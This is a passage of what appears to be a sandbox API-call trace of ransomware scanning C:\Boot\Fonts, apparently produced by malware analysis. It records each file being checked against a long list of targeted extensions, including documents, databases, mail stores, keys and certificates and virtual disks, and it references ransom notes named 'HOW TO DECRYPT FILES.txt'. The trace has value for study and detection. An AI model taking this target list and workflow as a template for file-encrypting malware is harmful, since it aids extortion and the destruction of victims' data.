(lpString="*.xls") returned 5 [0057.263] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.mp4") returned 0 [0057.263] lstrlenA (lpString="*.mp4") returned 5 [0057.263] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.ppt") returned 0 [0057.263] lstrlenA (lpString="*.ppt") returned 5 [0057.263] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.pptx") returned 0 [0057.263] lstrlenA (lpString="*.pptx") returned 6 [0057.263] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.doc") returned 0 [0057.263] lstrlenA (lpString="*.doc") returned 5 [0057.263] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.dot") returned 0 [0057.263] lstrlenA (lpString="*.dot") returned 5 [0057.263] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.docx") returned 0 [0057.263] lstrlenA (lpString="*.docx") returned 6 [0057.263] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.7z") returned 0 [0057.263] lstrlenA (lpString="*.7z") returned 4 [0057.263] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.tar") returned 0 [0057.263] lstrlenA (lpString="*.tar") returned 5 [0057.263] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.bz2") returned 0 [0057.263] lstrlenA (lpString="*.bz2") returned 5 [0057.263] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.gz") returned 0 [0057.263] lstrlenA (lpString="*.gz") returned 4 [0057.263] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.mkv") returned 0 [0057.263] lstrlenA (lpString="*.mkv") returned 5 [0057.264] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.eml") returned 0 [0057.264] lstrlenA (lpString="*.eml") returned 5 [0057.264] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.msg") returned 0 [0057.264] lstrlenA (lpString="*.msg") returned 5 [0057.264] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.edb") returned 0 [0057.264] lstrlenA (lpString="*.edb") returned 5 [0057.264] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.accdb") returned 0 [0057.264] lstrlenA (lpString="*.accdb") returned 7 [0057.264] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.odb") returned 0 [0057.264] lstrlenA (lpString="*.odb") returned 5 [0057.264] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.java") returned 0 [0057.264] lstrlenA (lpString="*.java") returned 6 [0057.264] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.asm") returned 0 [0057.264] lstrlenA (lpString="*.asm") returned 5 [0057.264] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.pfx") returned 0 [0057.264] lstrlenA (lpString="*.pfx") returned 5 [0057.264] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.pem") returned 0 [0057.264] lstrlenA (lpString="*.pem") returned 5 [0057.264] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.p12") returned 0 [0057.264] lstrlenA (lpString="*.p12") returned 5 [0057.264] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.gpg") returned 0 [0057.265] lstrlenA (lpString="*.gpg") returned 5 [0057.265] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.vsd") returned 0 [0057.265] lstrlenA (lpString="*.vsd") returned 5 [0057.265] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.odg") returned 0 [0057.265] lstrlenA (lpString="*.odg") returned 5 [0057.265] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.raw") returned 0 [0057.265] lstrlenA (lpString="*.raw") returned 5 [0057.265] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.nef") returned 0 [0057.265] lstrlenA (lpString="*.nef") returned 5 [0057.265] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.svg") returned 0 [0057.265] lstrlenA (lpString="*.svg") returned 5 [0057.265] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.psd") returned 0 [0057.265] lstrlenA (lpString="*.psd") returned 5 [0057.265] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.vmx") returned 0 [0057.265] lstrlenA (lpString="*.vmx") returned 5 [0057.265] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.vmdk") returned 0 [0057.265] lstrlenA (lpString="*.vmdk") returned 6 [0057.265] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.vdi") returned 0 [0057.265] lstrlenA (lpString="*.vdi") returned 5 [0057.265] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.lay6") returned 0 [0057.265] lstrlenA (lpString="*.lay6") returned 6 [0057.265] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.mpeg") returned 0 [0057.265] lstrlenA (lpString="*.mpeg") returned 6 [0057.265] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.djvu") returned 0 [0057.265] lstrlenA (lpString="*.djvu") returned 6 [0057.266] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.tiff") returned 0 [0057.266] lstrlenA (lpString="*.tiff") returned 6 [0057.266] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.backup") returned 0 [0057.266] lstrlenA (lpString="*.backup") returned 8 [0057.266] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.pdf") returned 0 [0057.266] lstrlenA (lpString="*.pdf") returned 5 [0057.266] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.cert") returned 0 [0057.266] lstrlenA (lpString="*.cert") returned 6 [0057.266] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.docm") returned 0 [0057.266] lstrlenA (lpString="*.docm") returned 6 [0057.266] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.xlsm") returned 0 [0057.266] lstrlenA (lpString="*.xlsm") returned 6 [0057.266] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.dwg") returned 0 [0057.266] lstrlenA (lpString="*.dwg") returned 5 [0057.266] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.nd") returned 0 [0057.266] lstrlenA (lpString="*.nd") returned 4 [0057.266] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.tlg") returned 0 [0057.266] lstrlenA (lpString="*.tlg") returned 5 [0057.266] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.lgb") returned 0 [0057.266] lstrlenA (lpString="*.lgb") returned 5 [0057.266] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.mov") returned 0 [0057.266] lstrlenA (lpString="*.mov") returned 5 [0057.266] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.xdw") returned 0 [0057.266] lstrlenA (lpString="*.xdw") returned 5 [0057.266] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.ods") returned 0 [0057.266] lstrlenA (lpString="*.ods") returned 5 [0057.266] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.wav") returned 0 [0057.266] lstrlenA (lpString="*.wav") returned 5 [0057.267] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.mp3") returned 0 [0057.267] lstrlenA (lpString="*.mp3") returned 5 [0057.267] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.aiff") returned 0 [0057.267] lstrlenA (lpString="*.aiff") returned 6 [0057.267] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.flac") returned 0 [0057.267] lstrlenA (lpString="*.flac") returned 6 [0057.267] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.m4a") returned 0 [0057.267] lstrlenA (lpString="*.m4a") returned 5 [0057.267] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\cht_boot.ttf", pszSpec="*.csv") returned 0 [0057.267] lstrlenA (lpString="*.csv") returned 5 [0057.267] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac204220, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac204220, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x65274577, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1e46e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="jpn_boot.ttf", cAlternateFileName="")) returned 1 [0057.267] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.267] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="jpn_boot.ttf") returned -1 [0057.267] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="jpn_boot.ttf") returned -1 [0057.267] lstrcmpiA (lpString1="", lpString2="jpn_boot.ttf") returned -1 [0057.267] PathFindFileNameA (pszPath="C:\\Boot\\Fonts\\cht_boot.ttf") returned="cht_boot.ttf" [0057.267] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Boot\\Fonts\\" | out: lpString1="C:\\Boot\\Fonts\\") returned="C:\\Boot\\Fonts\\" [0057.267] PathAddBackslashA (in: pszPath="C:\\Boot\\Fonts\\" | out: pszPath="C:\\Boot\\Fonts\\") returned="" [0057.267] lstrcatA (in: lpString1="C:\\Boot\\Fonts\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt") returned="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" [0057.267] GetFileAttributesA (lpFileName="C:\\Boot\\Fonts\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\boot\\fonts\\how to decrypt files.txt")) returned 0x20 [0057.267] lstrcatA (in: lpString1="C:\\Boot\\Fonts\\", lpString2="jpn_boot.ttf" | out: lpString1="C:\\Boot\\Fonts\\jpn_boot.ttf") returned="C:\\Boot\\Fonts\\jpn_boot.ttf" [0057.268] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.ems") returned 0 [0057.268] lstrlenA (lpString="*.ems") returned 5 [0057.268] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.db") returned 0 [0057.268] lstrlenA (lpString="*.db") returned 4 [0057.268] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.dbf") returned 0 [0057.268] lstrlenA (lpString="*.dbf") returned 5 [0057.268] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.myox") returned 0 [0057.268] lstrlenA (lpString="*.myox") returned 6 [0057.268] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.myo") returned 0 [0057.268] lstrlenA (lpString="*.myo") returned 5 [0057.268] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.qbw") returned 0 [0057.268] lstrlenA (lpString="*.qbw") returned 5 [0057.268] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.qbb") returned 0 [0057.268] lstrlenA (lpString="*.qbb") returned 5 [0057.268] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.qbm") returned 0 [0057.268] lstrlenA (lpString="*.qbm") returned 5 [0057.268] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.qbo") returned 0 [0057.268] lstrlenA (lpString="*.qbo") returned 5 [0057.268] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.qbx") returned 0 [0057.268] lstrlenA (lpString="*.qbx") returned 5 [0057.268] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.qba") returned 0 [0057.268] lstrlenA (lpString="*.qba") returned 5 [0057.268] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.qby") returned 0 [0057.269] lstrlenA (lpString="*.qby") returned 5 [0057.269] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.qbj") returned 0 [0057.269] lstrlenA (lpString="*.qbj") returned 5 [0057.269] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.ofx") returned 0 [0057.269] lstrlenA (lpString="*.ofx") returned 5 [0057.269] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.qif") returned 0 [0057.269] lstrlenA (lpString="*.qif") returned 5 [0057.269] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.mye") returned 0 [0057.269] lstrlenA (lpString="*.mye") returned 5 [0057.269] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.mbox") returned 0 [0057.269] lstrlenA (lpString="*.mbox") returned 6 [0057.269] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.eml") returned 0 [0057.269] lstrlenA (lpString="*.eml") returned 5 [0057.269] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.pst") returned 0 [0057.269] lstrlenA (lpString="*.pst") returned 5 [0057.269] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.ost") returned 0 [0057.269] lstrlenA (lpString="*.ost") returned 5 [0057.269] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.idx") returned 0 [0057.269] lstrlenA (lpString="*.idx") returned 5 [0057.269] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.dbx") returned 0 [0057.269] lstrlenA (lpString="*.dbx") returned 5 [0057.269] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.sql") returned 0 [0057.269] lstrlenA (lpString="*.sql") returned 5 [0057.269] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.mdb") returned 0 [0057.269] lstrlenA (lpString="*.mdb") returned 5 [0057.269] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.fdb") returned 0 [0057.270] lstrlenA (lpString="*.fdb") returned 5 [0057.270] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.wab") returned 0 [0057.270] lstrlenA (lpString="*.wab") returned 5 [0057.270] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.dat") returned 0 [0057.270] lstrlenA (lpString="*.dat") returned 5 [0057.270] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.txt") returned 0 [0057.270] lstrlenA (lpString="*.txt") returned 5 [0057.270] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.jpeg") returned 0 [0057.270] lstrlenA (lpString="*.jpeg") returned 6 [0057.270] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.jpg") returned 0 [0057.270] lstrlenA (lpString="*.jpg") returned 5 [0057.270] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.png") returned 0 [0057.270] lstrlenA (lpString="*.png") returned 5 [0057.270] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.php") returned 0 [0057.270] lstrlenA (lpString="*.php") returned 5 [0057.270] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.cs") returned 0 [0057.270] lstrlenA (lpString="*.cs") returned 4 [0057.270] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.cpp") returned 0 [0057.270] lstrlenA (lpString="*.cpp") returned 5 [0057.270] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.rar") returned 0 [0057.270] lstrlenA (lpString="*.rar") returned 5 [0057.270] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.zip") returned 0 [0057.270] lstrlenA (lpString="*.zip") returned 5 [0057.270] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.html") returned 0 [0057.270] lstrlenA (lpString="*.html") returned 6 [0057.270] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.htm") returned 0 [0057.270] lstrlenA (lpString="*.htm") returned 5 [0057.270] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.xlsx") returned 0 [0057.270] lstrlenA (lpString="*.xlsx") returned 6 [0057.271] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.xls") returned 0 [0057.271] lstrlenA (lpString="*.xls") returned 5 [0057.271] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.mp4") returned 0 [0057.271] lstrlenA (lpString="*.mp4") returned 5 [0057.271] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.ppt") returned 0 [0057.271] lstrlenA (lpString="*.ppt") returned 5 [0057.271] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.pptx") returned 0 [0057.271] lstrlenA (lpString="*.pptx") returned 6 [0057.271] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.doc") returned 0 [0057.271] lstrlenA (lpString="*.doc") returned 5 [0057.271] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.dot") returned 0 [0057.271] lstrlenA (lpString="*.dot") returned 5 [0057.271] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.docx") returned 0 [0057.271] lstrlenA (lpString="*.docx") returned 6 [0057.271] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.7z") returned 0 [0057.271] lstrlenA (lpString="*.7z") returned 4 [0057.271] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.tar") returned 0 [0057.271] lstrlenA (lpString="*.tar") returned 5 [0057.271] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.bz2") returned 0 [0057.271] lstrlenA (lpString="*.bz2") returned 5 [0057.271] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.gz") returned 0 [0057.271] lstrlenA (lpString="*.gz") returned 4 [0057.271] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.mkv") returned 0 [0057.271] lstrlenA (lpString="*.mkv") returned 5 [0057.271] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.eml") returned 0 [0057.271] lstrlenA (lpString="*.eml") returned 5 [0057.271] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.msg") returned 0 [0057.271] lstrlenA (lpString="*.msg") returned 5 [0057.272] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.edb") returned 0 [0057.272] lstrlenA (lpString="*.edb") returned 5 [0057.272] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.accdb") returned 0 [0057.272] lstrlenA (lpString="*.accdb") returned 7 [0057.272] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.odb") returned 0 [0057.272] lstrlenA (lpString="*.odb") returned 5 [0057.272] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.java") returned 0 [0057.272] lstrlenA (lpString="*.java") returned 6 [0057.272] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.asm") returned 0 [0057.272] lstrlenA (lpString="*.asm") returned 5 [0057.272] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.pfx") returned 0 [0057.272] lstrlenA (lpString="*.pfx") returned 5 [0057.272] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.pem") returned 0 [0057.272] lstrlenA (lpString="*.pem") returned 5 [0057.272] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.p12") returned 0 [0057.272] lstrlenA (lpString="*.p12") returned 5 [0057.272] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.gpg") returned 0 [0057.272] lstrlenA (lpString="*.gpg") returned 5 [0057.272] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.vsd") returned 0 [0057.272] lstrlenA (lpString="*.vsd") returned 5 [0057.272] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.odg") returned 0 [0057.272] lstrlenA (lpString="*.odg") returned 5 [0057.272] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.raw") returned 0 [0057.272] lstrlenA (lpString="*.raw") returned 5 [0057.272] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.nef") returned 0 [0057.272] lstrlenA (lpString="*.nef") returned 5 [0057.272] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.svg") returned 0 [0057.272] lstrlenA (lpString="*.svg") returned 5 [0057.272] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.psd") returned 0 [0057.273] lstrlenA (lpString="*.psd") returned 5 [0057.273] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.vmx") returned 0 [0057.273] lstrlenA (lpString="*.vmx") returned 5 [0057.273] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.vmdk") returned 0 [0057.273] lstrlenA (lpString="*.vmdk") returned 6 [0057.273] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.vdi") returned 0 [0057.273] lstrlenA (lpString="*.vdi") returned 5 [0057.273] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.lay6") returned 0 [0057.273] lstrlenA (lpString="*.lay6") returned 6 [0057.273] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.mpeg") returned 0 [0057.273] lstrlenA (lpString="*.mpeg") returned 6 [0057.273] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.djvu") returned 0 [0057.273] lstrlenA (lpString="*.djvu") returned 6 [0057.273] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.tiff") returned 0 [0057.273] lstrlenA (lpString="*.tiff") returned 6 [0057.273] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.backup") returned 0 [0057.273] lstrlenA (lpString="*.backup") returned 8 [0057.273] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.pdf") returned 0 [0057.273] lstrlenA (lpString="*.pdf") returned 5 [0057.273] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.cert") returned 0 [0057.273] lstrlenA (lpString="*.cert") returned 6 [0057.273] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.docm") returned 0 [0057.273] lstrlenA (lpString="*.docm") returned 6 [0057.273] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.xlsm") returned 0 [0057.273] lstrlenA (lpString="*.xlsm") returned 6 [0057.273] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.dwg") returned 0 [0057.273] lstrlenA (lpString="*.dwg") returned 5 [0057.273] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.nd") returned 0 [0057.274] lstrlenA (lpString="*.nd") returned 4 [0057.274] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.tlg") returned 0 [0057.274] lstrlenA (lpString="*.tlg") returned 5 [0057.274] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.lgb") returned 0 [0057.274] lstrlenA (lpString="*.lgb") returned 5 [0057.274] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.mov") returned 0 [0057.274] lstrlenA (lpString="*.mov") returned 5 [0057.274] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.xdw") returned 0 [0057.274] lstrlenA (lpString="*.xdw") returned 5 [0057.274] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.ods") returned 0 [0057.274] lstrlenA (lpString="*.ods") returned 5 [0057.274] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.wav") returned 0 [0057.274] lstrlenA (lpString="*.wav") returned 5 [0057.274] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.mp3") returned 0 [0057.274] lstrlenA (lpString="*.mp3") returned 5 [0057.274] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.aiff") returned 0 [0057.274] lstrlenA (lpString="*.aiff") returned 6 [0057.274] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.flac") returned 0 [0057.274] lstrlenA (lpString="*.flac") returned 6 [0057.274] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.m4a") returned 0 [0057.274] lstrlenA (lpString="*.m4a") returned 5 [0057.274] PathMatchSpecA (pszFile="C:\\Boot\\Fonts\\jpn_boot.ttf", pszSpec="*.csv") returned 0 [0057.274] lstrlenA (lpString="*.csv") returned 5 [0057.274] FindNextFileA (in: hFindFile=0x4f7098, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac22a380, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac22a380, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x6530caef, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x242f20, dwReserved0=0x0, dwReserved1=0x0, cFileName="kor_boot.ttf", cAlternateFileName="")) returned 1 [0057.274] PeekMessageA (in: lpMsg=0x18fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fb74) returned 0 [0057.274] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="kor_boot.ttf") returned -1 [0057.274] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="kor_boot.ttf") returned -1 [0057.274] lstrcmpiA (lpString1="", 